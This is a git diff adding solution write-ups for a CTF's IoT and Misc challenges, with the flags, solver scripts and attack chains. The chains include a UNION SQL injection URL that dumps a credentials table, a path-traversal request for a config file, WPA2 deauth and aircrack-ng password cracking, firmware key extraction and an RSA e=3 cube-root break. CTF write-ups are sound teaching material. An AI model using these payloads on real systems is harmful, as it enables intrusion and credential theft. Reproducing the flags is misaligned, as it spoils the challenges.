+``` + +### 4. Extract maintenance key +The decoded JSON contains: +```json +{ + "maintenance_key": "N4V1-C4R3-0R13-L41N" +} +``` + +### 5. Publish key and get flag +```bash +mosquitto_pub -h HOST -t "sainte-mika/or13/maintenance/unlock" -m "N4V1-C4R3-0R13-L41N" +``` + +Subscribe to the flag topic: +```bash +mosquitto_sub -h HOST -t "sainte-mika/or13/maintenance/flag" +``` + +### Key insights +- The XOR key "WIRED" is discoverable from the alarm topic which includes `"network": "WIRED-MED"` +- After XOR decryption, the zlib magic bytes `78 9C` confirm the correct key +- The maintenance key "N4V1-C4R3-0R13-L41N" = "Navi Care OR13 Lain" in leetspeak + +## Flag +`ESPILON{mQtt_g4tw4y_4n3sth3s14}` + +## Author +Eun0us diff --git a/IoT/Cr4cK_w1f1/README.md b/IoT/Cr4cK_w1f1/README.md new file mode 100644 index 0000000..13732f8 --- /dev/null +++ b/IoT/Cr4cK_w1f1/README.md @@ -0,0 +1,66 @@ +# Cr4ck_W1F1 — Solution + +**Difficulty:** Medium | **Category:** IoT | **Flag:** `CTF{CR4CK_W1F1_EXAMPLE}` + +> **Note:** Challenge en cours de finalisation — le flag sera mis à jour avant le déploiement. + +## Overview + +UART WiFi sniffer tool. Capture un WPA2 handshake, crack le mot de passe, puis +connecte au réseau pour lire le flag. + +- **TX (port 1111)**: Read only +- **RX (port 2222)**: Write only + +## Steps + +1. Ouvrir deux terminaux : + +```bash +nc 1111 # TX — lecture +nc 2222 # RX — écriture +``` + +1. Dans RX, démarrer le sniffer et forcer un re-handshake : + +```text +sniffer start +deauth TestNet 02:00:00:aa:00:01 +sniffer stop +``` + +1. Sur TX, récupérer le bloc PCAP base64 entre les marqueurs : + +```text +PCAP_BASE64_BEGIN +... +PCAP_BASE64_END +``` + +Sauvegarder et décoder : + +```bash +base64 -d handshake.b64 > handshake.pcap +``` + +1. Cracker la capture : + +```bash +aircrack-ng -w rockyou.txt -b 02:00:00:10:00:01 handshake.pcap +# → KEY FOUND! [ sunshine ] +``` + +1. Se connecter au réseau et lire le flag : + +```text +connect TestNet sunshine +cat /flag.txt +``` + +## Flag + +`CTF{CR4CK_W1F1_EXAMPLE}` + +## Author + +Eun0us diff --git a/IoT/Lain_Br34kC0r3/README.md b/IoT/Lain_Br34kC0r3/README.md new file mode 100755 index 0000000..667cf3c --- /dev/null +++ b/IoT/Lain_Br34kC0r3/README.md @@ -0,0 +1,95 @@ +# LAIN_Breakcore — Solution + +**Difficulty:** Medium | **Category:** IoT | **Flag:** `ECW{LAIN_Br34k_CryPT0}` + +## Overview + +UART hardware/crypto/reverse challenge. Connect to the router's UART interface: + +- **TX (port 1111)**: Read only — device output +- **RX (port 2222)**: Write only — send commands + +## Available Commands + +```text +help — list basic commands +flag — get the AES-encrypted flag +dump_bin — dump the firmware (XOR'd with the key) +settings — display the XOR key used for the firmware +whoami — current user info +show config — show device configuration +``` + +## Steps + +### 1. Connect + +```bash +# Terminal 1 — TX (read output) +nc 1111 + +# Terminal 2 — RX (send commands) +nc 2222 +``` + +### 2. Get the XOR key + +```text +settings +``` + +Returns the XOR key used to obfuscate the firmware dump. + +### 3. Dump and deobfuscate the firmware + +```text +dump_bin +``` + +Save the hex output, then XOR each byte with the key from `settings`: + +```python +key = bytes.fromhex("") +firmware_enc = bytes.fromhex("") +firmware = bytes(b ^ key[i % len(key)] for i, b in enumerate(firmware_enc)) +with open("firmware.bin", "wb") as f: + f.write(firmware) +``` + +### 4. Reverse the firmware to extract AES key and IV + +```bash +strings firmware.bin | grep -iE "key|iv|aes|lain" +``` + +Or open in Ghidra/Binary Ninja and locate the AES key/IV in `.rodata`. + +### 5. Get the encrypted flag + +```text +flag +``` + +Returns the ciphertext in hex. + +### 6. Decrypt the flag + +```python +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad + +key = b"" # 16 or 32 bytes +iv = b"" # 16 bytes +ciphertext = bytes.fromhex("") + +cipher = AES.new(key, AES.MODE_CBC, iv) +print(unpad(cipher.decrypt(ciphertext), AES.block_size).decode()) +``` + +## Flag + +`ECW{LAIN_Br34k_CryPT0}` + +## Author + +neverhack diff --git a/IoT/Lain_Br34kC0r3_V2/README.md b/IoT/Lain_Br34kC0r3_V2/README.md new file mode 100644 index 0000000..68b0085 --- /dev/null +++ b/IoT/Lain_Br34kC0r3_V2/README.md @@ -0,0 +1,149 @@ +# LAIN_Br34kC0r3 V2 — Solution + +**Chapitre 2 : Core Analysis** | Difficulté : Hard | Flag : `ESPILON{3sp32_fl4sh_dump_r3v3rs3d}` + +## Overview + +Ce challenge fournit un dump flash complet d'un ESP32 (bootloader + partition table + NVS + firmware applicatif). Le joueur doit extraire le firmware, le reverse engineer pour trouver les clés AES-256-CBC, puis déchiffrer le flag stocké dans la NVS. + +## Étape 1 — Récupérer le dump flash + +```bash +# Terminal 1 : TX (lecture) +nc 1111 | tee flash_output.txt + +# Terminal 2 : RX (écriture) +echo "dump_flash" | nc 2222 +``` + +Le dump est envoyé en base64. Extraire et décoder : + +```python +import base64 + +with open("flash_output.txt") as f: + lines = f.readlines() + +# Extract base64 lines between markers +b64_data = "" +capture = False +for line in lines: + if "BEGIN FLASH DUMP" in line: + capture = True + continue + if "END FLASH DUMP" in line: + break + if capture: + b64_data += line.strip() + +flash = base64.b64decode(b64_data) +with open("flash_dump.bin", "wb") as f: + f.write(flash) +``` + +## Étape 2 — Analyse du dump flash + +```bash +# Identifier les composants +binwalk flash_dump.bin + +# Ou utiliser esptool +esptool.py image_info --version 2 flash_dump.bin +``` + +Structure identifiée : +``` +0x0000 Padding (0xFF) +0x1000 ESP32 bootloader (magic 0xE9) +0x8000 Partition table +0x9000 NVS partition (24 KiB) +0xF000 PHY init data +0x10000 Application firmware (magic 0xE9) +``` + +## Étape 3 — Extraire le firmware applicatif + +```bash +# Extraire l'app à partir de l'offset 0x10000 +dd if=flash_dump.bin of=app_firmware.bin bs=1 skip=$((0x10000)) + +# Vérifier +file app_firmware.bin +# Devrait montrer un binaire ESP32 ou "data" + +hexdump -C app_firmware.bin | head -5 +# Premier byte devrait être 0xE9 (ESP image magic) +``` + +## Étape 4 — Reverse Engineering + +### Méthode rapide : strings + +```bash +strings -n 10 app_firmware.bin | grep -i "key\|aes\|iv\|wired\|therapy" +``` + +Résultats attendus : +``` +W1R3D_M3D_TH3R4PY_K3Y_2024_L41N! # AES-256 key (32 bytes) +L41N_WIRED_IV_01 # AES IV (16 bytes) +WIRED-MED Therapy Module +``` + +### Méthode complète : Ghidra + +1. Ouvrir Ghidra, importer `app_firmware.bin` (ou mieux, l'ELF si disponible) +2. Architecture : **Xtensa:LE:32:default** +3. Analyser → chercher `app_main` dans les symboles +4. Suivre les appels : `app_main()` → `wired_med_crypto_init()` → `mbedtls_aes_setkey_enc()` +5. Les arguments de `mbedtls_aes_setkey_enc()` pointent vers `therapy_aes_key` dans `.rodata` +6. Extraire les 32 bytes de la clé et les 16 bytes de l'IV + +## Étape 5 — Récupérer le flag chiffré + +### Option A : Commande directe +``` +encrypted_data +``` +→ Retourne le ciphertext en hex + +### Option B : Parser la NVS +```bash +# Extraire la partition NVS +dd if=flash_dump.bin of=nvs_dump.bin bs=1 skip=$((0x9000)) count=$((0x6000)) + +# Utiliser nvs_tool.py de ESP-IDF (si disponible) +python3 $IDF_PATH/components/nvs_flash/nvs_partition_tool/nvs_tool.py --dump nvs_dump.bin +``` + +Chercher l'entrée : namespace `wired_med`, key `encrypted_flag`, type blob + +## Étape 6 — Déchiffrement AES-256-CBC + +```python +from Crypto.Cipher import AES +from Crypto.Util.Padding import unpad + +key = b"W1R3D_M3D_TH3R4PY_K3Y_2024_L41N!" # 32 bytes +iv = b"L41N_WIRED_IV_01" # 16 bytes + +# Ciphertext from encrypted_data command or NVS +ciphertext = bytes.fromhex("...") + +cipher = AES.new(key, AES.MODE_CBC, iv) +plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) +print(plaintext.decode()) +# ESPILON{3sp32_fl4sh_dump_r3v3rs3d} +``` + +## Résumé de la chaîne d'attaque + +``` +dump_flash → base64 decode → binwalk → extract app @ 0x10000 + → strings/Ghidra (Xtensa RE) → find AES key + IV in .rodata + → encrypted_data (or NVS parse) → AES-256-CBC decrypt → FLAG +``` + +## Script de solve complet + +Voir `solve/solve.py` diff --git a/IoT/Lain_VS_Knights/README.md b/IoT/Lain_VS_Knights/README.md new file mode 100755 index 0000000..1ad1bea --- /dev/null +++ b/IoT/Lain_VS_Knights/README.md @@ -0,0 +1,251 @@ +# LAIN vs Knights — Solution + +**Difficulty:** Hard | **Category:** IoT | **Flag:** `ESPILON{0nlY_L41N_C4N_S0lv3}` + +## Overview + +A UART interface exposes a simulated "Wired" network with 1200 nodes, 7 protected +by Knights and 1 by the Founder (Eiri Masami). Defeat all 7 Knights to collect +fragments, combine them into an exploit hash, and present it to the Founder. + +- **TX (port 1111)**: Read only +- **RX (port 2222)**: Write only + +## Step 1 — Enumerate nodes + +```text +bus.map +``` + +Returns: `1200 nodes total — 7 knights active.` + +Scan all nodes to find the 7 Knights and the Founder: + +```python +import socket, time, re + +HOST = "" +TX_PORT, RX_PORT = 1111, 2222 + +def recv_until(sock, expect=">", timeout=2.0): + data = b"" + sock.settimeout(timeout) + while True: + try: + c = sock.recv(4096) + if not c: + break + data += c + if expect.encode() in data: + break + except socket.timeout: + break + return data.decode(errors="ignore") + +def scan_nodes(node_min=1, node_max=1200): + tx = socket.socket(); tx.connect((HOST, TX_PORT)) + rx = socket.socket(); rx.connect((HOST, RX_PORT)) + recv_until(tx) # flush banner + + found = [] + for nid in range(node_min, node_max + 1): + rx.sendall(f"bus.connect @node:{nid:04d}\n".encode()) + time.sleep(0.08) + out = recv_until(tx) + if re.search(r"KNIGHT|FOUNDER|EIRI", out, re.I): + kind = "knight" if "KNIGHT" in out.upper() else "founder" + print(f"[+] Node {nid:04d}: {kind}") + found.append((nid, kind, out)) + rx.sendall(b"bus.disconnect\n") + recv_until(tx) + tx.close(); rx.close() + return found +``` + +Knights found at (example run): `0067, 0113, 0391, 0529, 0619, 0901, 0906` +Founder found at: `0311` + +## Step 2 — Get hints from Lain nodes + +Connect to any Lain node and use `node.truth` repeatedly until you get: + +```text +Order matters. Use: i2c_mirror, can_checksum, spi_parity, sram_write, logic_and, fuse_bits, fault_injection. +Assemble fragments in this order as a single string, with no separators. +Hash this string using SHA256. +Take the first 24 hex digits of the hash. +``` + +## Step 3 — Defeat each Knight + +### Knight 1 — I2C_MIRROR + +Find two distinct messages with the same byte sum mod N. + +```python +def find_i2c_pair(modulo): + for a in range(256): + for b in range(256): + for c in range(256): + if a == c: continue + if (a + b) % modulo == (c + b) % modulo: + return bytes([a, b]).hex(), bytes([c, b]).hex() +``` + +```text +node.i2c_write "0000" +node.i2c_write "7600" +node.submit_pair "0000" "7600" +# → fragment i2c_mirror=0000_7600 +``` + +### Knight 2 — CAN_CHECKSUM + +Find a CAN frame whose CRC8 (poly=0x2F) equals the target byte. + +```python +def can_crc8(data, poly=0x2F): + c = 0 + for b in data: + c ^= b + for _ in range(8): + c = ((c << 1) ^ poly) & 0xFF if c & 0x80 else (c << 1) & 0xFF + return c + +target = 0x91 +for i in range(256): + for j in range(256): + if can_crc8(bytes([i, j])) == target: + print(f"Found: {bytes([i,j]).hex()}") # → 0026 + break +``` + +```text +node.can_send "0026" +# → fragment can_checksum=0026 +``` + +### Knight 3 — SPI_PARITY + +Find a byte with exactly 5 bit transitions (0↔1 between adjacent bits). + +```python +def count_transitions(b): + bits = f"{b:08b}" + return sum(1 for i in range(7) if bits[i] != bits[i+1]) + +# 0x15 = 00010101 → transitions at positions 2,3,4,5,6 = 5 ✓ +answer = next(hex(b)[2:] for b in range(256) if count_transitions(b) == 5) +# → '15' +``` + +```text +node.spi_write 15 +# → fragment spi_parity=15 +``` + +### Knight 4 — SRAM_WRITE + +Write a specific value to a specific address. + +```text +node.write 0x8b 0x89 +# → fragment sram_write=8b_89 +``` + +### Knight 5 — LOGIC_AND + +Find a pair `(a, b)` such that `a & b` equals the secret. + +Probe with `node.and_probe 0xff 0xff` → reveals the secret (e.g. `0xa8`). +Then `a = secret`, `b = 0xff`: + +```text +node.and_probe 0xff 0xff +# → "ff & ff = ff" (not our target — reveals target is 0xa8) +node.submit_and 0xa8 0xff +# → fragment logic_and=a8_ff +``` + +### Knight 6 — FUSE_BITS + +Probe with full mask to reveal the secret fuse bits directly: + +```text +node.fuse_probe 0xff +# → "Probe: (fuse & ff) = 30" +node.submit_fuse 0x30 +# → fragment fuse_bits=30 +``` + +### Knight 7 — FAULT_INJECTION + +Try all offset/mask combinations until the knight is purged: + +```python +for offset in range(8): + for mask in [1, 2, 4, 8, 16, 32, 64, 128]: + print(f"node.inject {offset} 0x{mask:02x}") +# Correct answer: offset=2, mask=0x08 +``` + +```text +node.inject 2 0x08 +# → fragment fault_injection=2_08 +``` + +## Step 4 — Check fragment collection + +```text +fragments +# i2c_mirror = 0000_7600 +# can_checksum = 0026 +# spi_parity = 15 +# sram_write = 8b_89 +# logic_and = a8_ff +# fuse_bits = 30 +# fault_injection = 2_08 +``` + +## Step 5 — Build the exploit + +Concatenate fragments in the order Lain specified, hash with SHA-256, take first 24 hex chars: + +```python +import hashlib + +fragments = { + "i2c_mirror": "0000_7600", + "can_checksum": "0026", + "spi_parity": "15", + "sram_write": "8b_89", + "logic_and": "a8_ff", + "fuse_bits": "30", + "fault_injection":"2_08", +} +order = ["i2c_mirror", "can_checksum", "spi_parity", + "sram_write", "logic_and", "fuse_bits", "fault_injection"] + +payload = "".join(fragments[k] for k in order) +# → "0000_76000026158b_89a8_ff302_08" +exploit = hashlib.sha256(payload.encode()).hexdigest()[:24] +# → "69b4a17e33b0cdace34b7610" +``` + +## Step 6 — Submit to the Founder and get the flag + +```text +bus.connect @node:0311 +node.exploit 69b4a17e33b0cdace34b7610 +# → "[ROOT] Exploit accepted! You are now root." +node.flag +# → ESPILON{0nlY_L41N_C4N_S0lv3} +``` + +## Flag + +`ESPILON{0nlY_L41N_C4N_S0lv3}` + +## Author + +Eun0us diff --git a/IoT/Lets_All_Hate_UART/README.md b/IoT/Lets_All_Hate_UART/README.md new file mode 100644 index 0000000..3a5b869 --- /dev/null +++ b/IoT/Lets_All_Hate_UART/README.md @@ -0,0 +1,87 @@ +# Let's All Hate UART — Solution + +**Chapitre 1 : Peripheral Access** | Difficulté : Medium-Hard | Flag : `ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry}` + +## Overview + +Ce challenge simule l'interface UART d'un module de thérapie WIRED-MED (ESP32). Le joueur doit progresser à travers 4 couches de discovery pour extraire le flag depuis la NVS du device. + +## Étape 1 — Connexion UART + +Ouvrir deux terminaux : +```bash +# Terminal 1 : TX (lecture seule) +nc 1111 + +# Terminal 2 : RX (écriture seule) +nc 2222 +``` + +Le boot sequence ESP32 s'affiche sur TX. Lire attentivement — il contient des infos cruciales. + +## Étape 2 — Discovery des commandes cachées + +La commande `help` ne montre que les commandes basiques. Deux indices : +- `info` mentionne "Debug interface: ENABLED (restricted)" +- Envoyer `?` ou `help -a` révèle les commandes cachées : `debug`, `mem`, `nvs`, `flash` + +## Étape 3 — Extraction du token debug depuis la RAM + +La commande `mem read` fonctionne SANS authentification pour la plage DRAM publique `0x3FFB0000-0x3FFB1000`. + +``` +mem read 0x3FFB0800 48 +``` + +Résultat : +``` +3FFB0800: 57 49 52 45 44 2D 4D 45 44 00 00 00 00 00 00 00 |WIRED-MED.......| +3FFB0810: 64 47 68 33 63 6D 46 77 65 56 39 74 4D 47 52 31 |dGgzcmFweV9tMGR1| +3FFB0820: 62 47 55 39 00 00 00 00 00 00 00 00 00 00 00 00 |bGU9............| +``` + +La partie ASCII aux offsets 0x810-0x830 contient du base64 : `dGgzcmFweV9tMGR1bGU9` + +```python +import base64 +base64.b64decode("dGgzcmFweV9tMGR1bGU9") +# b'th3rapy_m0dule=' +``` + +## Étape 4 — Authentification debug + +``` +debug auth th3rapy_m0dule= +``` + +→ "DEBUG MODE ENABLED. Extended commands unlocked." + +## Étape 5 — Exploration NVS + +``` +nvs list +``` + +Affiche les entrées NVS dont `crypto_flag` (blob, 34 bytes). + +``` +nvs read crypto_flag +``` + +Retourne un hexdump du flag chiffré. + +## Étape 6 — Déchiffrement XOR + +Le blob est XOR'd avec la clé cyclique `WIRED` (5 bytes). Indice : le flag commence par `ESPILON{` — en XOR avec les premiers bytes du blob, on peut retrouver la clé. + +```python +encrypted = bytes.fromhex("...") # hex du nvs read +key = b"WIRED" +flag = bytes(b ^ key[i % len(key)] for i, b in enumerate(encrypted)) +print(flag.decode()) +# ESPILON{u4rt_nvs_fl4sh_d1sc0v3ry} +``` + +## Script de solve complet + +Voir `solve/solve.py` diff --git a/IoT/Lets_All_Love_UART/README.md b/IoT/Lets_All_Love_UART/README.md new file mode 100755 index 0000000..211a356 --- /dev/null +++ b/IoT/Lets_All_Love_UART/README.md @@ -0,0 +1,73 @@ +# Let's All Love UART — Solution + +**Difficulty:** Easy | **Category:** IoT | **Flag:** `ESPILON{LAIN_TrUsT_U4RT}` + +## Overview + +The challenge emulates a split UART interface on a Lain router: + +- **TX (port 1111)**: Read only — device output +- **RX (port 2222)**: Write only — send commands + +## Steps + +1. Open two terminals: + +```bash +# Terminal 1 — read device output +nc 1111 + +# Terminal 2 — send commands +nc 2222 +``` + +1. On the RX terminal, send the `flag` command: + +```text +flag +``` + +1. The flag prints on the TX terminal: + +```text +ESPILON{LAIN_TrUsT_U4RT} +``` + +## Solver Script + +```python +#!/usr/bin/env python3 +import socket +import threading + +HOST = "" +TX_PORT = 1111 +RX_PORT = 2222 + +def reader(): + with socket.create_connection((HOST, TX_PORT)) as s: + while True: + data = s.recv(4096) + if not data: + break + out = data.decode(errors="replace") + print(out, end="") + if "ESPILON{" in out: + break + +tx_thread = threading.Thread(target=reader, daemon=True) +tx_thread.start() + +with socket.create_connection((HOST, RX_PORT)) as s: + s.sendall(b"flag\n") + +tx_thread.join() +``` + +## Flag + +`ESPILON{LAIN_TrUsT_U4RT}` + +## Author + +Eun0us diff --git a/IoT/Nurse_Call/README.md b/IoT/Nurse_Call/README.md new file mode 100644 index 0000000..aa4445c --- /dev/null +++ b/IoT/Nurse_Call/README.md @@ -0,0 +1,25 @@ +# Nurse Call -- Solution + +## Overview +Connect to the maintenance terminal and investigate phantom calls from Room 013. + +## Steps + +1. Connect: `nc 1337` +2. Read `logs/appels.log` -- notice Room 013 phantom calls, especially the last line: + `payload room 013: 0x4c41494e` +3. Read `logs/reseau.log` -- confirms `0x4c41494e -> ASCII: "LAIN"` +4. Read `logs/maintenance.log` -- technician says to use `reveil.sh --id` with the payload ID +5. Optionally read `config/navi-care.conf` for exact syntax: `reveil.sh --id ` +6. Execute: `./tools/reveil.sh --id LAIN` +7. Flag is printed: `ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}` + +## Key insight +The hex payload `0x4c41494e` is ASCII for "LAIN". The player must decode this +and use it as the module identifier with the wake tool. + +## Flag +`ESPILON{r3v31ll3_m01_d4ns_l3_w1r3d}` + +## Author +Eun0us diff --git a/IoT/Observe_The_Wired/README.md b/IoT/Observe_The_Wired/README.md new file mode 100644 index 0000000..d2233d3 --- /dev/null +++ b/IoT/Observe_The_Wired/README.md @@ -0,0 +1,52 @@ +# Observe The Wired -- Solution + +## Overview +CoAP node with observable stream. Recover fragments, decode the firmware blob, then POST the maintenance key. + +## Steps + +1. Discover resources +```bash +coap-client -m get coap://HOST/.well-known/core +``` + +2. Get fragments A and B +```bash +coap-client -m get coap://HOST/status +coap-client -m get coap://HOST/telemetry/heart +``` + +3. Observe the stream for fragment C +```bash +coap-client -m get -s 30 -o coap://HOST/wired/stream +``` +Capture the JSON notification that includes `fragment_c`. + +4. Build XOR key +Concatenate fragments in order A + B + C: +``` +WIRED + LAIN + 23 = WIREDLAIN23 +``` + +5. Download firmware blob +```bash +coap-client -m get coap://HOST/archive/firmware +``` +Save the base64 data between `FIRMWARE_B64_BEGIN` and `FIRMWARE_B64_END` into `firmware.b64`. + +6. Decode the blob +```bash +python3 decode.py firmware.b64 +``` +The JSON includes `maintenance_key`. + +7. Unlock and get the flag +```bash +coap-client -m post -e '0BS3RV3-L41N-23' coap://HOST/maintenance/unlock +``` + +## Flag +`ESPILON{c0ap_0bs3rv3_th3_w1r3d}` + +## Author +Eun0us diff --git a/IoT/Wired_Airwave_013/README.md b/IoT/Wired_Airwave_013/README.md new file mode 100644 index 0000000..b5540a4 --- /dev/null +++ b/IoT/Wired_Airwave_013/README.md @@ -0,0 +1,60 @@ +# Wired Airwave 013 -- Solution + +## Overview + +The challenge exposes: + +- `tcp/9001`: raw interleaved int8 IQ stream (2-FSK bursts) +- `tcp/31337`: maintenance console + +Goal: + +1. Demodulate valid RF frames from IQ. +2. Recover the maintenance token hidden in maintenance frames. +3. Submit it with `unlock ` on the console. + +## Packet format + +After preamble and sync, each frame carries 20 obfuscated bytes: + +- `type` (1 byte) +- `counter` (1 byte) +- `data` (16 bytes, text) +- `crc16-ccitt` (2 bytes, big endian) + +The 20-byte payload is XOR-obfuscated with repeating key `WIREDMED13`. + +## Decode path + +1. Convert stream to complex IQ (`int8` interleaved). +2. Differential FSK demod: + - sign of `imag(s[n] * conj(s[n-1]))` +3. Symbol slicing with `40` samples/symbol. +4. Find `preamble + sync` marker. +5. Parse payload, XOR-deobfuscate, verify CRC16. + +## Maintenance token + +Valid decoded maintenance frames include: + +- `P1:0BS3RV3` +- `P2:-L41N-868` + +Token is: + +`0BS3RV3-L41N-868` + +## Unlock + +```bash +nc 31337 +unlock 0BS3RV3-L41N-868 +``` + +Server returns the flag. + +## Automated solver + +```bash +python3 solve.py --host +``` diff --git a/Misc/AETHER_NET/README.md b/Misc/AETHER_NET/README.md new file mode 100644 index 0000000..4a7219a --- /dev/null +++ b/Misc/AETHER_NET/README.md @@ -0,0 +1,196 @@ +# AETHER_NET — Solution + +**Difficulty:** Insane | **Category:** Misc | **Flag:** `ESPILON{4eth3r_n3t_d3us_4dm1n}` + +## Overview + +Multi-layer network pivot challenge. 5 nodes, each requiring credentials extracted +from the previous layer. All services run inside a single Docker container exposed +on different ports. + +```text +lain-terminal:1337 → alice-web:8080 → bear-iot:1883 → maxis-crypto:9443 → deus-admin:22 + (entry hints) (SQLi) (MQTT) (RSA decrypt) (flag) +``` + +--- + +## Layer 01 — Entry Terminal + +```bash +nc 1337 +``` + +Read the available files: + +```text +cat notes.txt +cat /var/log/network.log +cat ~/.bash_history +``` + +`notes.txt` maps the network topology and drops the key hint: +> "The search function... doesn't sanitize input. The system_config table has everything you need." + +`network.log` lists all five nodes and their ports. `.bash_history` shows partial +MQTT credentials and previous curl commands. + +--- + +## Layer 02 — Alice-Web (SQLi) + +Hit the status endpoint first to confirm the hint: + +```bash +curl http://:8080/api/status +``` + +Response confirms: `"The search endpoint passes input directly to SQLite. The system_config table contains network credentials."` + +### UNION SQLi on `/search?q=` + +The query is: +```sql +SELECT id, name, room, status FROM patients WHERE name LIKE '%%' +``` + +Extract the entire `system_config` table: + +```bash +curl "http://:8080/search?q=%27%20UNION%20SELECT%20null%2Ckey%2Cvalue%2Cdescription%20FROM%20system_config--" +``` + +URL-decoded payload: `' UNION SELECT null,key,value,description FROM system_config--` + +Response contains: + +```json +{"results": [ + {"id": null, "name": "mqtt_user", "room": "operator", "status": "IoT broker username"}, + {"id": null, "name": "mqtt_pass", "room": "", "status": "IoT broker password"}, + {"id": null, "name": "mqtt_host", "room": "bear-iot", "status": "IoT broker hostname"}, + {"id": null, "name": "admin_token", "room": "", "status": "..."}, + ... +]} +``` + +Collect: `mqtt_pass` and `admin_token` (the 24-char hex token). + +### Alternative: path traversal + +```bash +curl "http://:8080/docs?file=../../var/aether/config.json" +``` + +Reads the full instance config directly, including all credentials. + +--- + +## Layer 03 — Bear-IoT (WIRED-MQTT) + +Connect with netcat: + +```bash +nc 1883 +``` + +Authenticate and escalate to admin: + +```text +CONNECT operator +ADMIN +LIST +``` + +`LIST` reveals the two hidden topics: +- `wired/system/config` +- `wired/knights/` + +Subscribe to get the RSA parameters: + +```text +SUBSCRIBE wired/system/config +``` + +Response includes: + +```text +RSA Public Key: + n = <512-bit decimal> + e = 3 +Ciphertext (hex): +``` + +Subscribe to the knights topic for the exploit hint: + +```text +SUBSCRIBE wired/knights/ +``` + +Response (base64-decoded): +> "e=3. No padding. The plaintext is short. Cube root gives the key." + +--- + +## Layer 04 — RSA Cube Root Attack + +The RSA parameters are weak by design: +- `n` is 512 bits (two 256-bit primes) +- `e = 3` +- Plaintext `m` ≤ 20 bytes → `m < 2^160` +- Since `m^3 < n`, the modular reduction never triggers: `c = m^3` exactly + +Therefore: `m = ∛c` (integer cube root, no modular arithmetic needed). + +```python +import gmpy2, socket, struct + +HOST = "" +PORT = 9443 + +# Connect to maxis-crypto to confirm params (or use values from Layer 03) +with socket.create_connection((HOST, PORT)) as s: + data = s.recv(4096).decode() + print(data) + +# Extract n and c from the received data, then: +n = # 512-bit integer +c = int("", 16) + +m, exact = gmpy2.iroot(c, 3) +assert exact, "Cube root is not exact — attack condition failed" + +# Decode the password (padded to 20 bytes with null bytes) +deus_pass = m.to_bytes(20, 'big').rstrip(b'\x00').decode() +print(f"deus SSH password: {deus_pass}") +``` + +--- + +## Layer 05 — SSH to Deus-Admin + +```bash +ssh deus@ -p 22 +# Enter deus_pass from Layer 04 +``` + +```bash +cat flag.txt +``` + +```text +ESPILON{4eth3r_n3t_d3us_4dm1n} +``` + +--- + +## Key Concepts + +- **UNION-based SQLi**: `' UNION SELECT ... FROM system_config--` exfiltrates internal credentials from a hidden table +- **Path traversal**: `../../var/aether/config.json` bypasses the `/docs` base directory restriction +- **Custom MQTT escalation**: `ADMIN ` command unlocks hidden broker topics unavailable to regular subscribers +- **RSA e=3 cube root attack**: When `m^3 < n` (no modular reduction), the ciphertext is literally `m^3` — integer cube root recovers plaintext in O(1) + +## Author + +Eun0us diff --git a/Misc/Accela_Signal/README.md b/Misc/Accela_Signal/README.md new file mode 100644 index 0000000..3118594 --- /dev/null +++ b/Misc/Accela_Signal/README.md @@ -0,0 +1,102 @@ +# Accela Signal -- Solution + +## Overview +A LoRa-like Chirp Spread Spectrum (CSS) IQ stream containing two types of frames: +beacon (cleartext) and data (XOR-encrypted flag). Players must implement CSS +demodulation from scratch to decode the frames. + +## Steps + +### 1. Capture IQ Stream +Connect to TCP port 9002. A text banner appears first, followed by raw IQ data. +```bash +nc HOST 9002 > capture.raw +# Or use the solve script +``` + +The banner tells you: `IQ baseband, 8000 sps, int16 LE interleaved`. + +### 2. Analyze the Signal +Open the IQ data in a spectrogram tool (e.g., inspectrum, Python matplotlib, or +GNU Radio). You'll see: +- Characteristic **chirp** patterns: frequency sweeps from low to high +- Repeating preambles (identical chirps) +- Gaps of noise between transmissions + +This is **Chirp Spread Spectrum (CSS)**, the modulation used by LoRa. + +### 3. Determine Parameters +- Each chirp spans 128 samples → **N = 128** +- Since N = 2^SF → **SF = 7** (spreading factor) +- Bandwidth = sample rate = 8000 Hz (baseband at Nyquist) +- 7 bits per symbol + +### 4. Implement Dechirping +The key to CSS demodulation is **dechirping**: + +1. Generate the base upchirp (symbol 0): + ``` + x0[n] = exp(j * π * n²/N) for n = 0..127 + ``` + +2. To decode a received chirp, multiply by the **conjugate** of the base chirp: + ``` + dechirped[n] = received[n] * conj(x0[n]) + ``` + +3. Take the **DFT/FFT** of the dechirped signal. The peak bin = symbol value. + +### 5. Detect Frames +Frame structure: +``` +[Preamble: 8× symbol 0] [Sync: 2× downchirp] [Header: 1 symbol] [Payload: L symbols] +``` + +- **Preamble**: 8 consecutive chirps all decoding to symbol 0 +- **Sync**: 2 downchirps (conjugate of upchirps) +- **Header**: 1 symbol = payload length in bytes (Gray-coded) +- **Payload**: L symbols encoding the data bytes + +### 6. Gray Decoding +Symbol values are **Gray-coded** (like real LoRa). After finding the FFT peak +bin, apply inverse Gray code: +```python +def gray_decode(val): + mask = val + while mask: + mask >>= 1 + val ^= mask + return val +``` + +### 7. Symbol-to-Byte Unpacking +Each symbol carries 7 bits (SF=7). Concatenate all bits from decoded symbols, +then group into 8-bit bytes. + +### 8. Parse Frame Payload +Payload format: `[type:1] [data:L] [crc16:2]` + +- Type 0x01 = beacon (ASCII text, for verification) +- Type 0x02 = data (XOR-encrypted flag) +- CRC-16 CCITT validates the payload + +### 9. Decrypt Flag +The data frame's content is XOR'd with the repeating key `"L41N"` (4 bytes). + +```python +xor_key = b"L41N" +flag = bytes(b ^ xor_key[i % 4] for i, b in enumerate(encrypted_data)) +``` + +## Key Insights +- CSS/LoRa modulation encodes data as cyclic frequency shifts of a chirp signal +- The dechirp + FFT technique converts the frequency-domain problem into a simple peak detection +- Gray coding ensures that adjacent symbols (close FFT bins) differ by only 1 bit, reducing errors +- The 7-bit symbol → 8-bit byte packing is standard for non-byte-aligned symbol sizes +- The banner hints at CSS ("Chirp Spread Spectrum detected") to point players in the right direction + +## Flag +`ESPILON{4cc3l4_ch1rp_spr34d_w1r3d}` + +## Author +Eun0us diff --git a/Misc/LAYER_ZERO/README.md b/Misc/LAYER_ZERO/README.md new file mode 100644 index 0000000..746a518 --- /dev/null +++ b/Misc/LAYER_ZERO/README.md @@ -0,0 +1,156 @@ +# LAYER_ZERO — Solution + +**Difficulty:** Hard | **Category:** Misc | **Flag:** `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}` + +## Overview + +Multi-stage challenge. Four sealed channels must be unlocked in sequence. +Each channel produces a token; submit all four to `LAYER_GOD` to unlock a +SUID binary that reveals the flag. + +| Layer | Channel | Port | Technique | +|-------|---------------|---------|-----------------------------| +| L01 | CHANNEL_STATIC | 